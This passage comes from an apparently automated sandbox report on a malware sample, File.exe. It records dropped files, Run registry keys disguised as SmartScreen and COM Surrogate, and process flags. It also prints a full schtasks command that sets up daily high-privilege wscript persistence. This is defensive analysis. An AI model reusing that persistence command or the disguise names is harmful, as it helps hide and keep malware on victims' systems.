                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile created: C:\Users\user\AppData\Local\Temp\smartscreen.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comFile created: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeFile created: C:\Users\user\AppData\Local\asm\WinRing0x64.sysJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeFile created: C:\Users\user\AppData\Local\asm\mi.exeJump to dropped file
                              Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\491505\Dr.comJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comFile created: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeJump to dropped file
                              Source: C:\Users\user\Desktop\File.exeFile created: C:\Users\user\AppData\Local\Temp\CommissionerJump to dropped file

                              Boot Survival

                              barindex
                              Creates multiple autostart registry keys
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SmartScreen
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run COM Surrogate
                              Uses schtasks.exe or at.exe to add and modify task schedules
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run COM Surrogate
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run COM Surrogate
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SmartScreen
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SmartScreen

                              Hooking and other Techniques for Hiding and Protection

                              barindex
                              Loading BitLocker PowerShell Module
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008359B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,24_2_008359B3
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007C5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,24_2_007C5EDA
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,24_2_007D33B7
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\File.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
